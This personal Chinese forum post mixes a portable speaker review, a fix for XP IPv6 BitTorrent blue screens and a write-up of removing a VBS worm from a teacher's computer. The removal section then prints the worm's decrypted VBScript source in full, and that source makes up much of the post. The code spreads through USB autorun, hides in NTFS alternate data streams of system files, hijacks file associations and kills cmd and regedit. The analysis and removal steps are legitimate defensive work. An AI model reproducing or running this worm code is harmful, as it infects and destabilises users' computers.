主题:个人经验总结帖,内容不定,不定期更新 -- 休眠火山
前言:想法是记录一下自己的发现或者经验,作为备忘。本来我个人的技术贴都发在mop的个人博客里的,不想在qq空间发。结果最近发现无法发表新文章了,可能是长时间不用的事。所以这篇评测就发在了西西河里。可惜不会发成写给自己看的文章,同时让别人想看也能看。所以就公开发表博大家一笑了。不过现在想既然已经发了,就不妨把以前的那些经验贴也都转过来吧。大家都是高手,就当没看见哈,别笑话我水平低劣。当然如果真对您有用就拿走别客气。
创新 creative SBX8 不负责评测
可能是因为新出的,而且价格也不便宜,所以搜不到中文评测。英文的没仔细看,似乎也是赞扬太多,不是很客观,所以自己写下自己的感受。没有专业经验,也不是发烧友,所以很多话可能写得不科学不严谨甚至用词不对,写给自己玩的,认真您就输了。。。。
因为个人需求,以及能买到的型号,最终确定买了这款SBX8,非常小巧易携带的音箱。看油管上的介绍,有一大部分是官方的宣传,其中的话筒聚焦效果之类的挺有意思,但是都是花样而已,买音箱,尤其是贵的,有几个是为了单纯上网聊天的?(补充:很悲哀地发现,sbx8是不带话筒聚焦功能的,自动调节音量功能也相当弱……而且一开始内置话筒不能用,后来又是卸载驱动又是重装软件的,又莫名其妙能用了。。)
刚收到的时候,一接快递,心里就一沉:太轻了。一般好音箱哪个不是很沉的?不过考虑到这个是携带型的,所以轻了也有轻的好处。
拆开来就是一个小盒子,里边是小音箱和一根线一份简单说明。音箱大小和一罐露露差不多,重量还轻得多,非常易于携带。所以一开始就对低音方面没有报希望。但是看网上评测都说音质好,也希望创新能够通过技术革新一定程度上解决低音问题。看到音箱后部有个小倒相孔,还是小小地高兴了一下,觉得可能低音也不会太差劲。毕竟为了高音质才买的,低音质谁花这价钱买这个?
面板在上表面,触摸操控的,倒也挺方便而且美观。
连上电脑,安了驱动,当时没有高品质源。打开了08奥运会开幕式,随便听了一下,发现声音单薄,很是失望。
回家后,下载一些试音碟进行试听,算是比较全面了解了音箱的品质。
首先,我比较关注的是人声部分,sbx8在人声部分表现不错,女声甜美,赵鹏的低音也表现得不错。只是由于低音的缺乏,稍微缺乏一点对心底的触动。总体来说对得起价格。
其次,低音确实不行。大鼓的声音出来成了小鼓。不过发现音效调节里的低音控制比较重要,必须打开才能得到相对满意的低音,否则可以说一点低音都没有了。在打开音效重低音的功能下,低音虽然差但终究还有点,所以还是可以接受的。
不过,这个音箱播放弦乐器的效果有点超过了我的想象,播放古筝的声音非常轻灵动听,比起一些大体积的2.0音箱有过之而无不及。小提琴的声音也非常优美。这得益于其小体积的喇叭更合适播放中频,并且具有非常细腻的表现力。
定位效果非常差。虽然内部有两个小喇叭,不是一个,但由于距离太近,几乎没有任何空间感,即使是使用了环绕效果,或者测试左右声道,都听不出来有任何的区别。
因此,如果用这个音箱听交响乐,那实在是一种折磨,单薄的声音加无任何定位感,甚至有种听收音机的感觉。。。。。
音量似乎能支持非常大的声音,虽然功率不算大,但是我白天情况下,系统20%左右音量,音箱20%音量,就可以在两个房间开门的情况下,在另个房间欣赏音乐。而且音箱似乎没有明显的方向感,所以在任何方向似乎都能得到相似的音质,这一点还是不错的。
音箱可以插耳机,我没有好耳机,只有一款创新的入耳,百元档的,还有就是爱疯手机带的耳机。平时听的时候,对创新那款的感觉就是低音有余而中音不足,听人声不是很满足;而爱疯的则相反,中音有余而低音不足。使用sbx8相同的设置,听爱疯耳机非常棒,定位效果惊人(原谅我原来没听过什么好声音),低音效果也非常不错,在一些弦乐器的地方,甚至有一种弦在脑子里拨动的感觉,非常爽。(曾听过森海2000多的耳机,在女低音的时候有一种声音在心底拨动的感觉,也是非常爽啊。)sbx可以当一个好声卡来用。而创新入耳则低音模糊定位效果奇差,考虑到入耳的特性,在特效里把低音关掉,增强环绕效果。发现立即有了很大的提升,低音效果保持了入耳的低沉,又明显提升了空间感定位感,使用晶化效果,提高了人声的表现力,增强了这个耳机的中音表现,声音明显清晰了很多,让人也非常满意。
因此,这款音箱自带的声卡经过效果处理,还是不错的,不过买这个的一半钱都够买一个不错的声卡了,本来的目的就是音箱。只是音箱由于体积所限,低音效果非常差,如果对这个非常在意的话,就不要买了。不过不知道有没有低音效果好的便携音箱,恐怕没有吧。比笔记本自带的声音效果好多了,要求高的时候也可以接耳机来听,基本算满意吧。
虽然我知道SB指Sound Blaster,8倍的SB得多变态,hehe。
创新不但想要做国内的生意,还非常急切。
急切到什么程度呢?我发现国外亚马逊买的,说明书是多语言版的是正常的,但保修书竟然是中文版的……
(这个问题其实没有彻底解决,但也算一个妥协的办法吧。)
使用ipv6网络,使用utorrent下载有些人出现了蓝屏问题。蓝屏提示一般是tcpip6.sys出现问题。已经确认不是和其他软件冲突。
从网上搜索,可以发现很多人也有这个问题,但是没有解决方法。我所探索的结果如下:
1. 这个问题是xp系统中的tcpip6.sys本身的问题,尤其是最新版本,问题更甚,我的原来的版本更新一些,忘了是多少了,蓝屏,后从网上下载的版本是5.1.2600.5512,结果好了几天,后来又出现蓝屏问题。
2.这个问题的根本是tcpip6.sys 本身的bug,由于微软不提供修复,所以没办法解决。更换支持ipv6的bt软件,即使是最新版的bittorrent,都不行,照样蓝屏。
个人解决办法:
1.升级系统到win7,据说win7没有这个问题。
2.因为问题的根本是并发数的问题,如果仍然坚持要xp,就把任务里的数量降低,由于bt是个时效性很强的软件,所以可以把一些以前下载的任务去除掉,或者不需要的任务删掉,虽然这不利于分享,但为了能用,只好忍痛割爱。我的任务数大约在50个以下,基本上没有问题,新建下载任务的时候,提前去掉一些任务即可。网上这方面的问题出现的不多,说明大部分人上传的任务数是非常有限的,拿来主义的多啊。
其实,就这么简单。
一直以来,在半生不熟的情况下,为不少电脑清了不少病毒,都是瞎胡闹,不过也多少积攒了点经验,在高人眼里是不值一哂,自己却觉得需要记录一下,以备自己使用。
这两天遇到一个老师的电脑只能上内网,不能上外网,已经确认网络没问题,所以问题肯定是电脑身上了。以下是过程:
1.试图进安全模式失败。
2.插u盘,发现vbs常见手段:产生autorun文件,产生vbs文件,文件名是随机数字,隐藏所有文件夹并加上系统属性和隐藏属性,建立快捷方式。
3.运行kv移动版,杀掉一大堆病毒。运行sreng,提示隐藏进程,提示启动项有修改,文件关联被修改。修复安全模式。
4.进安全模式,用kv杀,结果一个都没有了,但进入正常模式后问题依旧。
5.安装360杀毒和安全卫士,基本等于废物,没找到任何问题。顽固木马专杀由于不能上网,所以没法用。
5.用sreng大胆杀掉没有经过验证的可疑服务和驱动,用360结束可疑进程。并删除可疑文件。其中需要提到的就是一个隐藏在多种可能的文件夹下,文件夹名称含%sessionname%的文件,内部有xm为后缀名的文件,还有貌似后缀为pt的文件,直接杀不掉。
6。用最新病毒库的kv再在安全模式下杀。成功杀掉一些以前没有的病毒和木马下载器。进入正常模式后,发现大部分病毒都清得差不多了,上述文件夹和内容可以删除了。使用netstat -on 没有发现可疑进程发数据包。但仍然无法连外网。而且vbs病毒明显仍然起作用。
于是决定先把病毒清理干净再说。
7.经上网查,发现这个病毒替换了系统的正常文件,而这个是我一般尽量不去涉及的(确认是否是正常文件需要两个电脑,一个正常的,费时费力,我一般在确认有问题时才去解决这个问题)。
8.网上解决方法如下
smss.exe:1218852477.vbs 是一个典型的数据流病毒,每种病毒入侵电脑的关键部位是不一样的,这种病毒修改的是电脑是数据源。
虽然大家直接删除了带有.vbs,删除了system目录下的svchost.exe(实为系统程序wscript.exe)、删除了被病毒改写过的系统程序smss.exe(用备份替换)、删除了病毒创建的所有.lnk,当你双击&我的电脑&时,病毒又复活了。这种是典型的治标不治本的行为。
下面卡巴人给大家介绍个方法,手动查杀这种病毒。
1、先打开C:\windows\system32\和C:\windows\system32\dllcache目录。然后在组策略中用散列规则禁止WSCRIPT.EXE运行。
2、用IceSword禁止进程创建。结束WSCRIPT.EXE和windows\system\svchost.exe进程。
3、删除所有分区根目录下的.vbs和autorun.inf。删除windows\system\svchost.exe
4、删除硬盘各个分区中所有1KB的.lnk
5、将WINDOWS目录下的EXPLORER.EXE和系统目录下的SMSS.EXE移动到U盘或FAT32分区的硬盘分区(自动脱毒)。
6、删除WINDOWS目录下以及dllcache目录下的EXPLORER.EXE、%system%目录以及dllcache目录下的smss.exe(被病毒附加了数据流)。
7、取消&禁止进程创建&。将刚才移动到FAT32分区(或U盘)的那个EXPLORER.EXE和smss.exe移回系统目录以及dllcache目录。
8、修改注册表,显示被隐藏的正常文件夹。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
"CheckedValue"=dword:00000001
&
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN
"CheckedValue"=dword:00000002
9、删除病毒加载项:
展开HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows
9.继续:
实际杀毒过程同这个有所不同。由于病毒相当于直接修改了explorer,所以首先进入命令行安全模式后,用命令行进行处理,可以防止病毒启动。进入命令行将explorer和smss分别复制到fat32分区,然后复制回来,由于这样不确定是否能够把附加流去掉,所以用了一个很取巧的办法:使用命令行把两个文件复制到FAT32分区后,运行复制后的explorer,这样保证了其干净,然后在新程序下将explorer和smss分别复制到fat32分区,然后复制回来并覆盖。复制过程中提示有流信息丢失,说明方法有效。然后在命令行将所有分区根目录下.vbs文件,autorun文件以及快捷方式全部删除,修改目录属性为可见,非系统。打开注册表,删除所有.vbs所对应不正常的项。删除system目录下的svchost。重启后恢复正常。
杀完了以后,下面讲讲这个病毒本身。这个病毒隐藏自身非常巧妙,它是利用了NTFS分区的流功能把自身附加到了系统程序的后边。这样就达到了只要启动系统就自动中毒的目的。
好吧,我承认我已经把这个病毒解密了。这个病毒实际上比较简单,为什么杀毒软件不认呢,是因为病毒每次传染的时候都要用新的随机码进行自我加密。vbs病毒有个致命缺陷,就是必须是明码运行,因此必须自我解密才能运行。这样我们可以通过解密来看到病毒的明码,并对病毒进行杀毒处理。
首先,我要表示一下失望,因为我以为这个病毒能够几层嵌套来加密,结果只有一层。
其次,试着贴病毒程序代码内容:
On Error Resume Next Dim Fso,WshShell Set Fso=CreateObject("scRiPTinG.fiLEsysTeMoBjEcT") Set WshShell=CreateObject("wScRipT.SHelL") Call Main() Sub Main() On Error Resume Next Dim Args, VirusLoad, VirusAss Set Args=WScript.Arguments VirusLoad=GetMainVirus(1) VirusAss=GetMainVirus(0) ArgNum=0 Do While ArgNum < Args.Count Param=Param&" "&Args(ArgNum) ArgNum=ArgNum + 1 Loop SubParam=LCase(Right(Param, 3)) Select Case SubParam Case "run" RunPath=Left(WScript.ScriptFullName, 2) Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad) Case "txt", "log","ini" ,"inf" RunPath="%SystemRoot%\system32\NOTEPAD.EXE "&Param Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad) Case "bat", "cmd" RunPath="CMD /c echo Hi!I'm here!&pause" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad) Case "reg" RunPath="regedit.exe "&""""&Trim(Param)&"""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad) Case "chm" RunPath="hh.exe "&""""&Trim(Param)&"""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad) Case "hlp" RunPath="winhlp32.exe "&""""&Trim(Param)&"""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad) Case "dir" RunPath=""""&Left(Trim(Param),Len(Trim(Param))-3)&"""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad) Case "oie" RunPath="""%ProgramFiles%\Internet Explorer\IEXPLORE.EXE""" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad) Case "omc" RunPath="explorer.exe /n,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad) Case "emc" RunPath="explorer.exe /n,/e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}" Call Run(RunPath) Call InvadeSystem(VirusLoad,VirusAss) Call Run("%SystemRoot%\system\svchost.exe "&VirusLoad) Case Else If PreDblInstance=True Then WScript.Quit End If Timeout = Datediff("ww", GetInfectedDate, Date) - 12 If Timeout>0 And Month(Date) = Day(Date) Then Call VirusAlert() Call MakeJoke(CInt(Month(Date))) End If call MonitorSystem() End Select End Sub Sub MonitorSystem() On Error Resume Next Dim ProcessNames, ExeFullNames ProcessNames=Array("cmd.exe","cmd.com","regedit.exe","regedit.scr","regedit.pif","regedit.com","msconfig.exe") VBSFullNames=Array(GetMainVirus(1)) Do Call KillProcess(ProcessNames) Call InvadeSystem(GetMainVirus(1),GetMainVirus(0)) Call KeepProcess(VBSFullNames) WScript.Sleep 3000 Loop End Sub Sub InvadeSystem(VirusLoadPath,VirusAssPath) On Error Resume Next Dim Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2, HCULoad, HCUVer, VirusCode, Version Load_Value=""""&VirusLoadPath&"""" File_Value="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" %1 %* " IE_Value="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" OIE " MyCpt_Value1="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" OMC " MyCpt_Value2="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" EMC " HCULoad="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Load" HCUVer="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver" HCUDate="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date" VirusCode=GetCode(WScript.ScriptFullName) Version=1 HostSourcePath=Fso.GetSpecialFolder(1)&"\Wscript.exe" HostFilePath=Fso.GetSpecialFolder(0)&"\system\svchost.exe" For Each Drive In Fso.Drives If Drive.IsReady and (Drive.DriveType=1 Or Drive.DriveType=2 Or Drive.DriveType=3) Then DiskVirusName=GetSerialNumber(Drive.DriveLetter)&".vbs" Call CreateAutoRun(Drive.DriveLetter,DiskVirusName) Call InfectRoot(Drive.DriveLetter,DiskVirusName) End If Next If FSO.FileExists(VirusAssPath)=False Or FSO.FileExists(VirusLoadPath)=False Or FSO.FileExists(HostFilePath)=False Or GetVersion()< Version Then If GetFileSystemType(GetSystemDrive())="NTFS" Then Call CreateFile(VirusCode,VirusAssPath) Call CreateFile(VirusCode,VirusLoadPath) Call CopyFile(HostSourcePath,HostFilePath) Call SetHiddenAttr(HostFilePath) Else Call CreateFile(VirusCode, VirusAssPath) Call SetHiddenAttr(VirusAssPath) Call CreateFile(VirusCode,VirusLoadPath) Call SetHiddenAttr(VirusLoadPath) Call CopyFile(HostSourcePath, HostFilePath) Call SetHiddenAttr(HostFilePath) End If End If If ReadReg(HCULoad)<>Load_Value& Then Call WriteReg (HCULoad, Load_Value, "") End If If GetVersion() < Version Then Call WriteReg (HCUVer, Version, "") End If If GetInfectedDate() = "" Then Call WriteReg (HCUDate, Date, "") End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\")<>File_Value Then Call SetTxtFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\")<>File_Value Then Call SetIniFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\")<>File_Value Then Call SetInfFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\")<>File_Value Then Call SetBatFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\")<>File_Value Then Call SetCmdFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\")<>File_Value Then Call SetRegFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\")<>File_Value Then Call SetchmFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\")<>File_Value Then Call SethlpFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\")<>IE_Value Then Call SetIEAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\")<>IE_Value Then Call SetIEAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\")<>MyCpt_Value1 Then Call SetMyComputerAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\")<>MyCpt_Value2 Then Call SetMyComputerAss(VirusAssPath) End If Call RegSet() End Sub Sub CopyFile(source, pathf) On Error Resume Next If FSO.FileExists(pathf) Then FSO.DeleteFile pathf , True End If FSO.CopyFile source, pathf End Sub Sub CreateFile(code, pathf) On Error Resume Next Dim FileText If FSO.FileExists(pathf) Then Set FileText=FSO.OpenTextFile(pathf, 2, False) FileText.Write code FileText.Close Else Set FileText=FSO.OpenTextFile(pathf, 2, True) FileText.Write code FileText.Close End If End Sub Sub CreateFile(code, pathf) On Error Resume Next Dim FileText If FSO.FileExists(pathf) Then Set FileText=FSO.OpenTextFile(pathf, 2, False) FileText.Write code FileText.Close Else Set FileText=FSO.OpenTextFile(pathf, 2, True) FileText.Write code FileText.Close End If End Sub Sub RegSet() On Error Resume Next Dim RegPath1 , RegPath2, RegPath3, RegPath4 RegPath1="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue" RegPath2="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue" RegPath3="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun" RegPath4="HKEY_CLASSES_ROOT\lnkfile\IsShortcut" Call WriteReg (RegPath1, 3, "REG_DWORD") Call WriteReg (RegPath2, 2, "REG_DWORD") Call WriteReg (RegPath3, 0, "REG_DWORD") Call DeleteReg (RegPath4) End Sub Sub KillProcess(ProcessNames) On Error Resume Next Set WMIService=GetObject("winmgmts:\\.\root\cimv2") For Each ProcessName in ProcessNames Set ProcessList=WMIService.execquery(" Select * From win32_process where name ='"&ProcessName&"' ") For Each Process in ProcessList IntReturn=Process.terminate If intReturn<>0 Then WshShell.Run "CMD /c ntsd -c q -p "&Process.Handle, vbHide, False End If Next Next End Sub Sub KillImmunity(D) On Error Resume Next ImmunityFolder=D&":\Autorun.inf" If Fso.FolderExists(ImmunityFolder) Then WshSHell.Run ("CMD /C CACLS "& """"&ImmunityFolder&"""" &" /t /e /c /g everyone:f"),vbHide,True WshSHell.Run ("CMD /C RD /S /Q "& ImmunityFolder), vbHide, True End If End Sub Sub KeepProcess(VBSFullNames) On Error Resume Next For Each VBSFullName in VBSFullNames If VBSProcessCount(VBSFullName) < 2 then Run("%SystemRoot%\system\svchost.exe "&VBSFullName) End If Next End Sub Function GetSystemDrive() GetSystemDrive=Left(Fso.GetSpecialFolder(0),2) End Function Function GetFileSystemType(Drive) Set d=FSO.GetDrive(Drive) GetFileSystemType=d.FileSystem End Function Function ReadReg(strkey) Dim tmps Set tmps=CreateObject("WScript.Shell") ReadReg=tmps.RegRead(strkey) Set tmps=Nothing End Function Sub WriteReg(strkey, Value, vtype) Dim tmps Set tmps=CreateObject("WScript.Shell") If vtype="" Then tmps.RegWrite strkey, Value Else tmps.RegWrite strkey, Value, vtype End If Set tmps=Nothing End Sub Sub DeleteReg(strkey) Dim tmps Set tmps=CreateObject("WScript.Shell") tmps.RegDelete strkey Set tmps=Nothing End Sub
字数限制,必须分页了。
继续代码。
Sub SetHiddenAttr(path) On Error Resume Next Dim vf Set vf=FSO.GetFile(path) Set vf=FSO.GetFolder(path) vf.Attributes=6 End Sub Sub Run(ExeFullName) On Error Resume Next Dim WshShell Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.Run ExeFullName Set WshShell=Nothing End Sub Sub InfectRoot(D,VirusName) On Error Resume Next Dim VBSCode VBSCode=GetCode(WScript.ScriptFullName) VBSPath=D&":\"&VirusName If FSO.FileExists(VBSPath)=False Then Call CreateFile(VBSCode, VBSPath) Call SetHiddenAttr(VBSPath) End If Set Folder=Fso.GetFolder(D&":\") Set SubFolders=Folder.Subfolders For Each SubFolder In SubFolders SetHiddenAttr(SubFolder.Path) LnkPath=D&":\"&SubFolder.Name&".lnk" TargetPath=D&":\"&VirusName Args=""""&D&":\"&SubFolder.Name& "\Dir""" If Fso.FileExists(LnkPath)=False Or GetTargetPath(LnkPath) <> TargetPath Then If Fso.FileExists(LnkPath)=True Then FSO.DeleteFile LnkPath, True End If Call CreateShortcut(LnkPath,TargetPath,Args) End If Next End Sub Sub CreateShortcut(LnkPath,TargetPath,Args) Set Shortcut=WshShell.CreateShortcut(LnkPath) with Shortcut .TargetPath=TargetPath .Arguments=Args .WindowStyle=4 .IconLocation="%SystemRoot%\System32\Shell32.dll, 3" .Save end with End Sub Sub CreateAutoRun(D,VirusName) On Error Resume Next Dim InfPath, VBSPath, VBSCode InfPath=D&":\AutoRun.inf" VBSPath=D&":\"&VirusName VBSCode=GetCode(WScript.ScriptFullName) If FSO.FileExists(InfPath)=False Or FSO.FileExists(VBSPath)=False Then Call CreateFile(VBSCode, VBSPath) Call SetHiddenAttr(VBSPath) StrInf="[AutoRun]"&VBCRLF&"Shellexecute=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell\open=打m(&O)"&VBCRLF&"shell\open\command=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell\open\Default=1"& VBCRLF&"shell\explore=m源管理器(&X)"&VBCRLF&"shell\explore\command=WScript.exe "&VirusName&" ""AutoRun""" Call KillImmunity(D) Call CreateFile(StrInf, InfPath) Call SetHiddenAttr(InfPath) End If End Sub Sub SetTxtFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetIniFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetInfFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetBatFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetCmdFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SethlpFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetRegFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetchmFileAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetIEAss(sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OIE " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\", Value, "REG_EXPAND_SZ") Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\", Value, "REG_EXPAND_SZ") End Sub Sub SetMyComputerAss(sFilePath) On Error Resume Next Dim Value1,Value2 Value1="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OMC " Value2="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" EMC " Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\", "", "REG_SZ") Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\", Value1, "REG_EXPAND_SZ") Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\", Value2, "REG_EXPAND_SZ") End Sub Function GetSerialNumber(Drv) On Error Resume Next Set d=fso.GetDrive(Drv) GetSerialNumber=d.SerialNumber GetSerialNumber=Replace(GetSerialNumber,"-","") End Function Function GetMainVirus(N) On Error Resume Next MainVirusName=GetSerialNumber(GetSystemDrive())&".vbs" If GetFileSystemType(GetSystemDrive())="NTFS" Then If N=1 Then GetMainVirus=Fso.GetSpecialFolder(N)&"\smss.exe:"&MainVirusName End If If N=0 Then GetMainVirus=Fso.GetSpecialFolder(N)&"\explorer.exe:"&MainVirusName End If Else GetMainVirus=Fso.GetSpecialFolder(N)&"\"&MainVirusName End If End Function Function VBSProcessCount(VBSPath) On Error Resume Next Dim WMIService, ProcessList, Process VBSProcessCount=0 Set WMIService=GetObject("winmgmts:\\.\root\cimv2") Set ProcessList=WMIService.ExecQuery("Select * from Win32_Process Where "&"Name='cscript.exe' or Name='wscript.exe' or Name='svchost.exe'") For Each Process in ProcessList If InStr(Process.CommandLine, VBSPath)>0 Then VBSProcessCount=VBSProcessCount+1 End If Next End Function Function PreDblInstance() On Error Resume Next PreDblInstance=False If VBSProcessCount(WScript.ScriptFullName)>= 3 Then PreDblInstance=True End If End Function Function GetTargetPath(LnkPath) On Error Resume Next Dim Shortcut Set Shortcut=WshShell.CreateShortcut(LnkPath) IgvTargetPath=Shortcut.TargetPath End Function Function GetCode(FullPath) On Error Resume Next Dim FileText Set FileText=FSO.OpenTextFile(FullPath, 1) GetCode=FileText.ReadAll FileText.Close End Function Function GetVersion() Dim VerInfo VerInfo="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver" If ReadReg(VerInfo)="" Then GetVersion=0 Else GetVersion=CInt(ReadReg(VerInfo)) End If End Function Sub VirusAlert() On Error Resume Next Dim HtaPath,HtaCode HtaPath=Fso.GetSpecialFolder(1)&"\BFAlert.hta" HtaCode="暴p一p"&VBCRLF&""&VBCRLF&" "&VBCRLF&"N "&VBCRLF&"暴p一p"&VBCRLF&" " If FSO.FileExists(HtaPath)=False Then Call CreateFile(HtaCode, HtaPath) Call SetHiddenAttr(HtaPath) End If Call Run(HtaPath) End Sub Function GetInfectedDate() On Error Resume Next Dim DateInfo DateInfo="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date" If ReadReg(DateInfo)="" Then GetInfectedDate="" Else GetInfectedDate=CDate(ReadReg(DateInfo)) End If End Function Sub MakeJoke(Times) On Error Resume Next Dim WMP, colCDROMs Set WMP = CreateObject( "WMPlayer.OCX" ) Set colCDROMs = WMP.cdromCollection If colCDROMs.Count >0 Then For i=1 to Times colCDROMs.Item(0).eject() WScript.Sleep 3000 colCDROMs.Item(0).eject() Next End If Set WMP = Nothing End Sub
代码结束。
其实病毒很简单,就是一个简单的自我复制和保护的功能。还算是比较可爱的病毒。
唯一不好的是,他会在特定时间给你开玩笑,让你的光驱不断弹出。。。。。。。当然另个问题就是,让你系统不稳定,比如像我开始说的,上不了外网。
如果中毒了怎么办?
不用担心,我从网上找到了杀病毒的程序。
